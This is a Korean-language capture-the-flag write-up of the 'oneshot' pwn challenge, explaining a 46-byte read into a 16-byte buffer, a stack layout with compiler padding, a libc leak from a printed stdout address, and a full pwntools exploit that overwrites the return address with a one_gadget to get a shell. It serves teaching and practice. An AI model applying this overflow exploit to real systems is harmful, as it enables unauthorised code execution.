oneshot

46 bytes into a 16-byte buffer, with a leaked stdout address turning a one-gadget into a working shell.

2026.08.18 Pwn original post

소스코드 분석

int main(int argc, char *argv[]) { char msg[16]; size_t check = 0; initialize(); printf("stdout: %p\n", stdout); //

[1] stdout 주소 leak printf(“MSG: ”); read(0, msg, 46); // [2] 16바이트 버퍼에 46바이트 입력 → BOF if(check > 0) { // [3] check가 0이어야 계속 진행 exit(0); } printf(“MSG: %s\n”, msg); return 0; // [4] return 시 RET 주소로 점프 } 취약점

msg는 16바이트지만 read()가 최대 46바이트를 받으므로 30바이트 초과 입력이 가능합니다. 카나리가 없기 때문에 스 택을 그대로 덮을 수 있습니다.

스택 레이아웃 분석 gdb로 실제 변수 주소를 확인합니다. $ gdb ./oneshot (gdb) b main (gdb) r (gdb) p &msg # msg 시작 주소 (gdb) p &check # check 시작 주소 실제 스택 구조 (컴파일러가 정렬용 패딩 8바이트 삽입): [낮은 주소] rbp-0x20 msg[16] ← 입력 시작점 rbp-0x10 (패딩 8바이트) ← 컴파일러가 16바이트 정렬을 위해 삽입 rbp-0x08 check(8바이트) ← 0이어야 exit() 분기 안 함 rbp+0x00 SFP(8바이트) ← 저장된 프레임 포인터 rbp+0x08 RET(8바이트) ← 덮을 목표 [높은 주소] 주의: 코드에서는 msg[16] 바로 다음에 check처럼 보이지만, 실제 메모리에서는 컴파일러가 8바이트 패딩을 삽입합니 다. gdb로 직접 확인하지 않으면 패딩 존재를 놓치기 쉽습니다.

익스플로잇 전략

1단계 — libc 주소 leak 프로그램이 직접 stdout 주소를 출력해줍니다.

stdout: 0x7f3a001ec620

이 값으로 libc가 메모리 어디에 로드됐는지 계산합니다.

libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]

2단계 — one_gadget 주소 계산 one_gadget은 libc 파일 안에 존재하는 단 하나의 주소로 점프만 해도 /bin/sh가 실행되는 코드 조각입니다.

$ one_gadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) 0x4526a execve("/bin/sh", rsp+0x30,
environ) 0xf03a4 execve("/bin/sh", rsp+0x50, environ)

libc 파일 내 고정 offset이므로, libc_base를 알면 실제 주소를 계산할 수 있습니다. one_gadget = libc_base + 0x4526a # 조건이 맞는 후보 선택

3단계 — payload 구성 [msg 16바이트] + [패딩 8바이트] + [check 8바이트, \x00으로] + [SFP 8바이트] + [RET = one_gadget] payload = b’A’ * 24 # msg(16) + 컴파일러 패딩(8) payload += b’\x00’ * 8 # check = 0 유지 (exit 방지) payload += b’B’ * 8 # SFP 덮기 payload += p64(one_gadget) # RET → one_gadget check를 *00으로 채우는 이유: if(check > 0) 조건에 걸리면 exit(0)으로 빠져나가므로, check 영역은 반드시 0을 유 지해야 합니다.

최종 익스플로잇 코드

from pwn import *


def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


p = remote("host3.dreamhack.games", 23231)
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget_offset = 0x4526a          # one_gadget 툴로 찾은 offset

# [1] libc leak
p.recvuntil(b"stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + one_gadget_offset

slog("stdout", stdout)
slog("libc_base", libc_base)
slog("one_gadget", one_gadget)

# [2] payload
payload = b'A' * 24                  # msg(16) + 컴파일러 패딩(8)
payload += b'\x00' * 8               # check = 0 유지
payload += b'B' * 8                  # SFP
payload += p64(one_gadget)           # RET 덮기

p.sendafter(b"MSG: ", payload)
p.interactive()

핵심 개념 정리 one_gadget: libc 내부에 존재하는, 단 하나의 주소로 점프만 해도 /bin/sh를 실행하는 코드 조각. 단, 실행 시점의 레지 스터/스택 상태가 조건을 만족해야 동작함.

libc leak: PIE/ASLR 환경에서 실행마다 주소가 바뀌므로, 프로그램이 출력하는 libc 내부 심볼 주소를 이용해 libc_base 를 역산하는 기법. 컴파일러 정렬 패딩: 컴파일러는 스택 변수를 16바이트 경계에 맞추기 위해 코드에 없는 빈 공간을 삽입할 수 있음. gdb 로 실제 주소를 확인하는 습관이 중요.